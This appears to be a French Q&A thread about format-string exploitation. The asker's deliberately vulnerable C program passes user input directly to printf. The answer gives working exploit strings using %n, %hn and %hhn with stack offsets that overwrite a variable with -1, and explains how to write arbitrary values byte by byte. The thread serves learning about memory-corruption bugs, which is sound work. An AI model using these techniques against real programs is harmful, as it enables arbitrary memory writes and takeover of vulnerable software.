2017-10-14 4 views
0

J'essaie de définir la valeur d'une variable en utilisant Format String exploit. J'ai été capable de changer la variable par la valeur de la longueur de la chaîne en utilisant le modificateur% n.Exploitation de format de chaîne: valeur négative = "-1" utilisation% n

Code

#include <stdio.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]){ 
    char buffer[100]; 
    static int a=77; 
    strcpy(buffer, argv[1]); 
    printf(buffer); 
    printf("address a = 0x%08x, [0x%08x]\n", &a, a); 
    printf("a = %d\n", a); 
return 0; 
} 

après

./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 

address a = 0x080498c4, [0x00000034] 
a = 52 

Comment puis-je modifier un ensemble variable à une valeur négative, par exemple "a = -1"?

P.S. J'ai découvert que cela peut être fait avec% u. Il suffit d'utiliser l'astuce décrite à la fin de la première section dans le linked article

+0

Bienvenue sur SO. Vous n'êtes pas très clair, ce que vous voulez réaliser. Votre titre concerne l'utilisation d'un spécificateur de format incorrect (% u vs -1). Votre question mentionne un exploit pour modifier une valeur. Les spécificateurs de format peuvent changer la sortie imprimée, mais ils ne changeront la valeur d'aucune variable. – Gerhardh

Répondre

0

Celui-ci comprend le fractionnement de la valeur -1 (0xFFFFFFFFF) dans le mot inférieur et supérieur (deux fois 0xFFFF) et écrivant ces séparément à des adresses &a et (void*)(&a)+2:

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn" 

expliqué:

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes) 
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes) 
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535) 
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a 
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a 

Le numéro 7 provient de votre commande précédente:

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 
          1^ 2^ 3^ 4^ 5^ 6^7^ 

et j'ai stocké une autre adresse, de sorte que s'empile une t position 8.

Cela produit encore beaucoup de sortie, vous pouvez aller un peu plus loin et écrire 0xFFFFFFFF octet par octet. Il ressemblerait à ceci:

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a 
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a 
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a 
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a 
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255) 
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above 
%8\$hhn ... the same for the second 
%9\$hhn ... the same for the third 
%10\$hhn ... the same for the last 

numéros autres que 0xFFFFFFFF ont besoin d'une sortie supplémentaire entre chaque %hhn. Vous devez calculer le nombre d'octets d'ordures à produire entre eux pour compenser les différences respectives. Si vous devez passer en dessous de la valeur précédente, utilisez le fait que seul un octet est écrit pour que l'arithmétique passe à modulo 256.